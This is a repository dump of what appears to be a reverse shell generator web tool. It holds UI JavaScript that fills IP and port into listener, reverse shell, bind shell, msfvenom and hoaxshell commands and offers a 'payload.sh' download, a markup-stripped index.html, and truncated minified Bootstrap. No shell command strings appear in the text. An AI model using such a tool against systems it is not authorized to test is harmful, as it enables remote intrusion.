375 | const selectionButton = document.createElement("button");
376 |
377 | if (rsg.getSelectedCommandName() === item.name) {
378 | selectionButton.classList.add("active");
379 | }
380 |
381 | const clickEvent = () => {
382 | rsg.selectedValues[rsg.commandType] = name;
383 | rsg.update();
384 |
385 | // if (document.querySelector('#auto-copy-switch').checked) {
386 | // rsg.copyToClipboard(reverseShellCommand.innerText)
387 | // }
388 | }
389 |
390 | selectionButton.innerText = name;
391 | selectionButton.classList.add("list-group-item", "list-group-item-action");
392 | selectionButton.addEventListener("click", clickEvent);
393 |
394 | documentFragment.appendChild(selectionButton);
395 | })
396 |
397 | const listSelectionSelector = rsg.uiElements[rsg.commandType].listSelection;
398 | document.querySelector(listSelectionSelector).replaceChildren(documentFragment)
399 | },
400 |
401 | updateListenerCommand: () => {
402 | const privilegeWarning = document.querySelector("#port-privileges-warning");
403 | let command = listenerSelect.value;
404 | command = rsg.highlightParameters(command)
405 | command = command.replace('{port}', rsg.getPort())
406 | command = command.replace('{ip}', rsg.getIP())
407 | command = command.replace('{payload}', rsg.getPayload())
408 | command = command.replace('{type}', rsg.getType())
409 |
410 | if (rsg.getPort() < 1024) {
411 | privilegeWarning.style.visibility = "visible";
412 | command = `sudo ${command}`
413 | } else {
414 | privilegeWarning.style.visibility = "hidden";
415 | }
416 |
417 | listenerCommand.innerHTML = command;
418 | },
419 |
420 | updateReverseShellSelection: () => {
421 | document.querySelector(".list-group-item.active") ?.classList.remove("active");
422 | const elements = Array.from(document.querySelectorAll(".list-group-item"));
423 | const selectedElement = elements.find((item) => item.innerText === rsg.currentCommandName);
424 | selectedElement?.classList.add("active");
425 | },
426 |
427 | updateReverseShellCommand: () => {
428 | const command = rsg.generateReverseShellCommand();
429 | const commandSelector = rsg.uiElements[rsg.commandType].command;
430 | document.querySelector(commandSelector).innerHTML = command;
431 | },
432 |
433 | updateSwitchStates: () => {
434 | $('#listener-advanced').collapse($('#listener-advanced-switch').prop('checked') ? 'show' :
435 | 'hide')
436 | $('#revshell-advanced').collapse($('#revshell-advanced-switch').prop('checked') ? 'show' :
437 | 'hide')
438 | }
439 | }
440 |
441 | /*
442 | * Init
443 | */
444 | rsg.init();
445 | rsg.update();
446 |
447 | /*
448 | * Event handlers/functions
449 | */
450 | ipInput.addEventListener("input", (e) => {
451 | rsg.setState({
452 | ip: e.target.value
453 | })
454 | });
455 |
456 | portInput.addEventListener("input", (e) => {
457 | rsg.setState({
458 | port: Number(e.target.value)
459 | })
460 | });
461 |
462 | listenerSelect.addEventListener("change", (e) => {
463 | rsg.setState({
464 | listener: e.target.value
465 | })
466 | });
467 |
468 | shellSelect.addEventListener("change", (e) => {
469 | rsg.setState({
470 | shell: e.target.value
471 | })
472 | });
473 |
474 | encodingSelect.addEventListener("change", (e) => {
475 | rsg.setState({
476 | encoding: e.target.value
477 | })
478 | });
479 |
480 | searchBox.addEventListener("input", (e) => {
481 | rsg.setState({
482 | filterText: e.target.value
483 | })
484 | });
485 |
486 | document.querySelector('#inc-port').addEventListener('click', () => {
487 | rsg.setState({
488 | port: rsg.getPort() + 1
489 | })
490 | })
491 |
492 | document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
493 | document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
494 |
495 | setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession
496 |
497 | document.querySelector('#copy-listener').addEventListener('click', () => {
498 | rsg.copyToClipboard(listenerCommand.innerText)
499 | })
500 |
501 | document.querySelector('#copy-reverse-shell-command').addEventListener('click', () => {
502 | rsg.copyToClipboard(reverseShellCommand.innerText)
503 | })
504 |
505 | document.querySelector('#copy-bind-shell-command').addEventListener('click', () => {
506 | rsg.copyToClipboard(bindShellCommand.innerText)
507 | })
508 |
509 | document.querySelector('#copy-msfvenom-command').addEventListener('click', () => {
510 | rsg.copyToClipboard(msfVenomCommand.innerText)
511 | })
512 |
513 | document.querySelector('#copy-hoaxshell-command').addEventListener('click', () => {
514 | rsg.copyToClipboard(hoaxShellCommand.innerText)
515 | })
516 |
517 | var downloadButton = document.querySelectorAll(".download-svg");
518 | for (const Dbutton of downloadButton) {
519 | Dbutton.addEventListener("click", () => {
520 | const filename = prompt('Enter a filename', 'payload.sh')
521 | if(filename===null)return;
522 | const rawLink = RawLink.generate(rsg);
523 | axios({
524 | url: rawLink,
525 | method: 'GET',
526 | responseType: 'arraybuffer',
527 | })
528 | .then((response)=>{
529 | const url = window.URL.createObjectURL(new File([response.data], filename ));
530 | const downloadElement = document.createElement("a");
531 | downloadElement.href = url;
532 | downloadElement.setAttribute('download', filename);
533 | document.body.appendChild(downloadElement);
534 | downloadElement.click();
535 | document.body.removeChild(downloadElement);
536 | });
537 | });
538 | }
539 |
540 | // autoCopySwitch.addEventListener("change", () => {
541 | // setLocalStorage(autoCopySwitch, "auto-copy", "checked");
542 | // });
543 |
544 | // Popper tooltips
545 | $(function () {
546 | $('[data-toggle="tooltip"]').tooltip()
547 | });
548 |
549 | // TODO: add a random fifo for netcat mkfifo
550 | //let randomId = Math.random().toString(36).substring(2, 4);
551 |
552 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Online - Reverse Shell Generator
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
26 |
27 |
28 |
29 |
30 |
31 |
33 |
34 |
35 |
36 |
37 |
48 |
61 |
62 |
63 |
64 |
65 |
66 |
68 |
69 |
74 |
75 |
76 |
77 |
78 |
Reverse Shell Generator
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | IP & Port
89 |
90 |
91 |
92 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
153 |
154 |
155 |
Listener
156 |
157 |
158 |
159 |
160 |
167 |
168 |
169 |
177 |
178 |
179 |
180 |
181 |
182 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
223 |
224 |
230 |
231 |
232 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
246 |

247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
277 |
278 |
279 |
309 |
310 |
311 |
312 |
313 |
315 |
316 | Copied to clipboard
317 |
318 |
319 |
320 |
322 |
323 | Error copying to clipboard
324 |
325 |
326 |
327 |
334 |
335 |
336 |
340 |
341 |
342 |
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
366 |
367 |
368 |
369 |
376 |
377 |
378 |
379 |
385 |
386 |
390 |
391 |
392 |
396 |
397 |
398 |
399 |
400 |
401 |
402 |
403 |
404 |
405 |
406 |
407 |
408 |
409 |
415 |
416 |
417 |
418 |
419 |
420 |
428 |
429 |
430 |
431 |
439 |
440 |
441 |
445 |
446 |
447 |
452 |
453 |
454 |
455 |
456 |
457 |
458 |
459 |
460 |
461 |
462 |
463 |
464 |
465 |
471 |
472 |
473 |
501 |
502 |
503 |
504 |
505 |
506 |
507 |
508 |
509 |
510 |
511 |
512 |
513 |
514 |
515 |
516 |
517 |
518 |
519 |
520 |
521 |
522 |
523 |
524 |
--------------------------------------------------------------------------------
/assets/bootstrap-4.5.2.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * Bootstrap v4.5.2 (https://getbootstrap.com/)
3 | * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
5 | */
6 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t,e){for(var n=0;n
=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};a.jQueryDetection(),e.fn.emulateTransitionEnd=r,e.event.special[a.TRANSITION_END]={bindType:"transitionend",delegateType:"transitionend",handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var l="alert",c=e.fn[l],h=function(){function t(t){this._element=t}var n=t.prototype;return n.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},n.dispose=function(){e.removeData(this._element,"bs.alert"),this._element=null},n._getRootElement=function(t){var n=a.getSelectorFromElement(t),i=!1;return n&&(i=document.querySelector(n)),i||(i=e(t).closest(".alert")[0]),i},n._triggerCloseEvent=function(t){var n=e.Event("close.bs.alert");return e(t).trigger(n),n},n._removeElement=function(t){var n=this;if(e(t).removeClass("show"),e(t).hasClass("fade")){var i=a.getTransitionDurationFromElement(t);e(t).one(a.TRANSITION_END,(function(e){return n._destroyElement(t,e)})).emulateTransitionEnd(i)}else this._destroyElement(t)},n._destroyElement=function(t){e(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.alert");o||(o=new t(this),i.data("bs.alert",o)),"close"===n&&o[n](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}}]),t}();e(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',h._handleDismiss(new h)),e.fn[l]=h._jQueryInterface,e.fn[l].Constructor=h,e.fn[l].noConflict=function(){return e.fn[l]=c,h._jQueryInterface};var u=e.fn.button,d=function(){function t(t){this._element=t}var n=t.prototype;return n.toggle=function(){var t=!0,n=!0,i=e(this._element).closest('[data-toggle="buttons"]')[0];if(i){var o=this._element.querySelector('input:not([type="hidden"])');if(o){if("radio"===o.type)if(o.checked&&this._element.classList.contains("active"))t=!1;else{var s=i.querySelector(".active");s&&e(s).removeClass("active")}t&&("checkbox"!==o.type&&"radio"!==o.type||(o.checked=!this._element.classList.contains("active")),e(o).trigger("change")),o.focus(),n=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(n&&this._element.setAttribute("aria-pressed",!this._element.classList.contains("active")),t&&e(this._element).toggleClass("active"))},n.dispose=function(){e.removeData(this._element,"bs.button"),this._element=null},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.button");i||(i=new t(this),e(this).data("bs.button",i)),"toggle"===n&&i[n]()}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}}]),t}();e(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(t){var n=t.target,i=n;if(e(n).hasClass("btn")||(n=e(n).closest(".btn")[0]),!n||n.hasAttribute("disabled")||n.classList.contains("disabled"))t.preventDefault();else{var o=n.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")||o.classList.contains("disabled")))return void t.preventDefault();("LABEL"!==i.tagName||o&&"checkbox"!==o.type)&&d._jQueryInterface.call(e(n),"toggle")}})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(t){var n=e(t.target).closest(".btn")[0];e(n).toggleClass("focus",/^focus(in)?$/.test(t.type))})),e(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var n=t.prototype;return n.next=function(){this._isSliding||this._slide("next")},n.nextWhenVisible=function(){!document.hidden&&e(this._element).is(":visible")&&"hidden"!==e(this._element).css("visibility")&&this.next()},n.prev=function(){this._isSliding||this._slide("prev")},n.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(a.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},n.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},n.to=function(t){var n=this;this._activeElement=this._element.querySelector(".active.carousel-item");var i=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)e(this._element).one("slid.bs.carousel",(function(){return n.to(t)}));else{if(i===t)return this.pause(),void this.cycle();var o=t>i?"next":"prev";this._slide(o,this._items[t])}},n.dispose=function(){e(this._element).off(g),e.removeData(this._element,"bs.carousel"),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},n._getConfig=function(t){return t=s({},p,t),a.typeCheckConfig(f,t,_),t},n._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},n._addEventListeners=function(){var t=this;this._config.keyboard&&e(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&e(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},n._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var n=function(e){t._pointerEvent&&v[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},i=function(e){t._pointerEvent&&v[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};e(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(e(this._element).on("pointerdown.bs.carousel",(function(t){return n(t)})),e(this._element).on("pointerup.bs.carousel",(function(t){return i(t)})),this._element.classList.add("pointer-event")):(e(this._element).on("touchstart.bs.carousel",(function(t){return n(t)})),e(this._element).on("touchmove.bs.carousel",(function(e){return function(e){e.originalEvent.touches&&e.originalEvent.touches.length>1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),e(this._element).on("touchend.bs.carousel",(function(t){return i(t)})))}},n._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},n._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},n._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),s=this._items.length-1;if((i&&0===o||n&&o===s)&&!this._config.wrap)return e;var r=(o+("prev"===t?-1:1))%this._items.length;return-1===r?this._items[this._items.length-1]:this._items[r]},n._triggerSlideEvent=function(t,n){var i=this._getItemIndex(t),o=this._getItemIndex(this._element.querySelector(".active.carousel-item")),s=e.Event("slide.bs.carousel",{relatedTarget:t,direction:n,from:o,to:i});return e(this._element).trigger(s),s},n._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var n=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));e(n).removeClass("active");var i=this._indicatorsElement.children[this._getItemIndex(t)];i&&e(i).addClass("active")}},n._slide=function(t,n){var i,o,s,r=this,l=this._element.querySelector(".active.carousel-item"),c=this._getItemIndex(l),h=n||l&&this._getItemByDirection(t,l),u=this._getItemIndex(h),d=Boolean(this._interval);if("next"===t?(i="carousel-item-left",o="carousel-item-next",s="left"):(i="carousel-item-right",o="carousel-item-prev",s="right"),h&&e(h).hasClass("active"))this._isSliding=!1;else if(!this._triggerSlideEvent(h,s).isDefaultPrevented()&&l&&h){this._isSliding=!0,d&&this.pause(),this._setActiveIndicatorElement(h);var f=e.Event("slid.bs.carousel",{relatedTarget:h,direction:s,from:c,to:u});if(e(this._element).hasClass("slide")){e(h).addClass(o),a.reflow(h),e(l).addClass(i),e(h).addClass(i);var g=parseInt(h.getAttribute("data-interval"),10);g?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=g):this._config.interval=this._config.defaultInterval||this._config.interval;var m=a.getTransitionDurationFromElement(l);e(l).one(a.TRANSITION_END,(function(){e(h).removeClass(i+" "+o).addClass("active"),e(l).removeClass("active "+o+" "+i),r._isSliding=!1,setTimeout((function(){return e(r._element).trigger(f)}),0)})).emulateTransitionEnd(m)}else e(l).removeClass("active"),e(h).addClass("active"),this._isSliding=!1,e(this._element).trigger(f);d&&this.cycle()}},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.carousel"),o=s({},p,e(this).data());"object"==typeof n&&(o=s({},o,n));var r="string"==typeof n?n:o.slide;if(i||(i=new t(this,o),e(this).data("bs.carousel",i)),"number"==typeof n)i.to(n);else if("string"==typeof r){if("undefined"==typeof i[r])throw new TypeError('No method named "'+r+'"');i[r]()}else o.interval&&o.ride&&(i.pause(),i.cycle())}))},t._dataApiClickHandler=function(n){var i=a.getSelectorFromElement(this);if(i){var o=e(i)[0];if(o&&e(o).hasClass("carousel")){var r=s({},e(o).data(),e(this).data()),l=this.getAttribute("data-slide-to");l&&(r.interval=!1),t._jQueryInterface.call(e(o),r),l&&e(o).data("bs.carousel").to(l),n.preventDefault()}}},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"Default",get:function(){return p}}]),t}();e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",b._dataApiClickHandler),e(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),n=0,i=t.length;n0&&(this._selector=r,this._triggerArray.push(s))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var n=t.prototype;return n.toggle=function(){e(this._element).hasClass("show")?this.hide():this.show()},n.show=function(){var n,i,o=this;if(!this._isTransitioning&&!e(this._element).hasClass("show")&&(this._parent&&0===(n=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof o._config.parent?t.getAttribute("data-parent")===o._config.parent:t.classList.contains("collapse")}))).length&&(n=null),!(n&&(i=e(n).not(this._selector).data("bs.collapse"))&&i._isTransitioning))){var s=e.Event("show.bs.collapse");if(e(this._element).trigger(s),!s.isDefaultPrevented()){n&&(t._jQueryInterface.call(e(n).not(this._selector),"hide"),i||e(n).data("bs.collapse",null));var r=this._getDimension();e(this._element).removeClass("collapse").addClass("collapsing"),this._element.style[r]=0,this._triggerArray.length&&e(this._triggerArray).removeClass("collapsed").attr("aria-expanded",!0),this.setTransitioning(!0);var l="scroll"+(r[0].toUpperCase()+r.slice(1)),c=a.getTransitionDurationFromElement(this._element);e(this._element).one(a.TRANSITION_END,(function(){e(o._element).removeClass("collapsing").addClass("collapse show"),o._element.style[r]="",o.setTransitioning(!1),e(o._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(c),this._element.style[r]=this._element[l]+"px"}}},n.hide=function(){var t=this;if(!this._isTransitioning&&e(this._element).hasClass("show")){var n=e.Event("hide.bs.collapse");if(e(this._element).trigger(n),!n.isDefaultPrevented()){var i=this._getDimension();this._element.style[i]=this._element.getBoundingClientRect()[i]+"px",a.reflow(this._element),e(this._element).addClass("collapsing").removeClass("collapse show");var o=this._triggerArray.length;if(o>0)for(var s=0;s0},i._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=s({},e.offsets,t._config.offset(e.offsets,t._element)||{}),e}:e.offset=this._config.offset,e},i._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),s({},t,this._config.popperConfig)},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.dropdown");if(i||(i=new t(this,"object"==typeof n?n:null),e(this).data("bs.dropdown",i)),"string"==typeof n){if("undefined"==typeof i[n])throw new TypeError('No method named "'+n+'"');i[n]()}}))},t._clearMenus=function(n){if(!n||3!==n.which&&("keyup"!==n.type||9===n.which))for(var i=[].slice.call(document.querySelectorAll('[data-toggle="dropdown"]')),o=0,s=i.length;o0&&r--,40===n.which&&rdocument.documentElement.clientHeight;i||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");var o=a.getTransitionDurationFromElement(this._dialog);e(this._element).off(a.TRANSITION_END),e(this._element).one(a.TRANSITION_END,(function(){t._element.classList.remove("modal-static"),i||e(t._element).one(a.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,o)})).emulateTransitionEnd(o),this._element.focus()}else this.hide()},n._showElement=function(t){var n=this,i=e(this._element).hasClass("fade"),o=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),e(this._dialog).hasClass("modal-dialog-scrollable")&&o?o.scrollTop=0:this._element.scrollTop=0,i&&a.reflow(this._element),e(this._element).addClass("show"),this._config.focus&&this._enforceFocus();var s=e.Event("shown.bs.modal",{relatedTarget:t}),r=function(){n._config.focus&&n._element.focus(),n._isTransitioning=!1,e(n._element).trigger(s)};if(i){var l=a.getTransitionDurationFromElement(this._dialog);e(this._dialog).one(a.TRANSITION_END,r).emulateTransitionEnd(l)}else r()},n._enforceFocus=function(){var t=this;e(document).off("focusin.bs.modal").on("focusin.bs.modal",(function(n){document!==n.target&&t._element!==n.target&&0===e(t._element).has(n.target).length&&t._element.focus()}))},n._setEscapeEvent=function(){var t=this;this._isShown?e(this._element).on("keydown.dismiss.bs.modal",(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||e(this._element).off("keydown.dismiss.bs.modal")},n._setResizeEvent=function(){var t=this;this._isShown?e(window).on("resize.bs.modal",(function(e){return t.handleUpdate(e)})):e(window).off("resize.bs.modal")},n._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){e(document.body).removeClass("modal-open"),t._resetAdjustments(),t._resetScrollbar(),e(t._element).trigger("hidden.bs.modal")}))},n._removeBackdrop=function(){this._backdrop&&(e(this._backdrop).remove(),this._backdrop=null)},n._showBackdrop=function(t){var n=this,i=e(this._element).hasClass("fade")?"fade":"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",i&&this._backdrop.classList.add(i),e(this._backdrop).appendTo(document.body),e(this._element).on("click.dismiss.bs.modal",(function(t){n._ignoreBackdropClick?n._ignoreBackdropClick=!1:t.target===t.currentTarget&&n._triggerBackdropTransition()})),i&&a.reflow(this._backdrop),e(this._backdrop).addClass("show"),!t)return;if(!i)return void t();var o=a.getTransitionDurationFromElement(this._backdrop);e(this._backdrop).one(a.TRANSITION_END,t).emulateTransitionEnd(o)}else if(!this._isShown&&this._backdrop){e(this._backdrop).removeClass("show");var s=function(){n._removeBackdrop(),t&&t()};if(e(this._element).hasClass("fade")){var r=a.getTransitionDurationFromElement(this._backdrop);e(this._backdrop).one(a.TRANSITION_END,s).emulateTransitionEnd(r)}else s()}else t&&t()},n._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},n._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},n._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right) ',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:L,popperConfig:null},K={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},X=function(){function t(t,e){if("undefined"==typeof n)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var i=t.prototype;return i.enable=function(){this._isEnabled=!0},i.disable=function(){this._isEnabled=!1},i.toggleEnabled=function(){this._isEnabled=!this._isEnabled},i.toggle=function(t){if(this._isEnabled)if(t){var n=this.constructor.DATA_KEY,i=e(t.currentTarget).data(n);i||(i=new this.constructor(t.currentTarget,this._getDelegateConfig()),e(t.currentTarget).data(n,i)),i._activeTrigger.click=!i._activeTrigger.click,i._isWithActiveTrigger()?i._enter(null,i):i._leave(null,i)}else{if(e(this.getTipElement()).hasClass("show"))return void this._leave(null,this);this._enter(null,this)}},i.dispose=function(){clearTimeout(this._timeout),e.removeData(this.element,this.constructor.DATA_KEY),e(this.element).off(this.constructor.EVENT_KEY),e(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&e(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},i.show=function(){var t=this;if("none"===e(this.element).css("display"))throw new Error("Please use show on visible elements");var i=e.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){e(this.element).trigger(i);var o=a.findShadowRoot(this.element),s=e.contains(null!==o?o:this.element.ownerDocument.documentElement,this.element);if(i.isDefaultPrevented()||!s)return;var r=this.getTipElement(),l=a.getUID(this.constructor.NAME);r.setAttribute("id",l),this.element.setAttribute("aria-describedby",l),this.setContent(),this.config.animation&&e(r).addClass("fade");var c="function"==typeof this.config.placement?this.config.placement.call(this,r,this.element):this.config.placement,h=this._getAttachment(c);this.addAttachmentClass(h);var u=this._getContainer();e(r).data(this.constructor.DATA_KEY,this),e.contains(this.element.ownerDocument.documentElement,this.tip)||e(r).appendTo(u),e(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new n(this.element,r,this._getPopperConfig(h)),e(r).addClass("show"),"ontouchstart"in document.documentElement&&e(document.body).children().on("mouseover",null,e.noop);var d=function(){t.config.animation&&t._fixTransition();var n=t._hoverState;t._hoverState=null,e(t.element).trigger(t.constructor.Event.SHOWN),"out"===n&&t._leave(null,t)};if(e(this.tip).hasClass("fade")){var f=a.getTransitionDurationFromElement(this.tip);e(this.tip).one(a.TRANSITION_END,d).emulateTransitionEnd(f)}else d()}},i.hide=function(t){var n=this,i=this.getTipElement(),o=e.Event(this.constructor.Event.HIDE),s=function(){"show"!==n._hoverState&&i.parentNode&&i.parentNode.removeChild(i),n._cleanTipClass(),n.element.removeAttribute("aria-describedby"),e(n.element).trigger(n.constructor.Event.HIDDEN),null!==n._popper&&n._popper.destroy(),t&&t()};if(e(this.element).trigger(o),!o.isDefaultPrevented()){if(e(i).removeClass("show"),"ontouchstart"in document.documentElement&&e(document.body).children().off("mouseover",null,e.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,e(this.tip).hasClass("fade")){var r=a.getTransitionDurationFromElement(i);e(i).one(a.TRANSITION_END,s).emulateTransitionEnd(r)}else s();this._hoverState=""}},i.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},i.isWithContent=function(){return Boolean(this.getTitle())},i.addAttachmentClass=function(t){e(this.getTipElement()).addClass("bs-tooltip-"+t)},i.getTipElement=function(){return this.tip=this.tip||e(this.config.template)[0],this.tip},i.setContent=function(){var t=this.getTipElement();this.setElementContent(e(t.querySelectorAll(".tooltip-inner")),this.getTitle()),e(t).removeClass("fade show")},i.setElementContent=function(t,n){"object"!=typeof n||!n.nodeType&&!n.jquery?this.config.html?(this.config.sanitize&&(n=Q(n,this.config.whiteList,this.config.sanitizeFn)),t.html(n)):t.text(n):this.config.html?e(n).parent().is(t)||t.empty().append(n):t.text(e(n).text())},i.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},i._getPopperConfig=function(t){var e=this;return s({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},i._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return 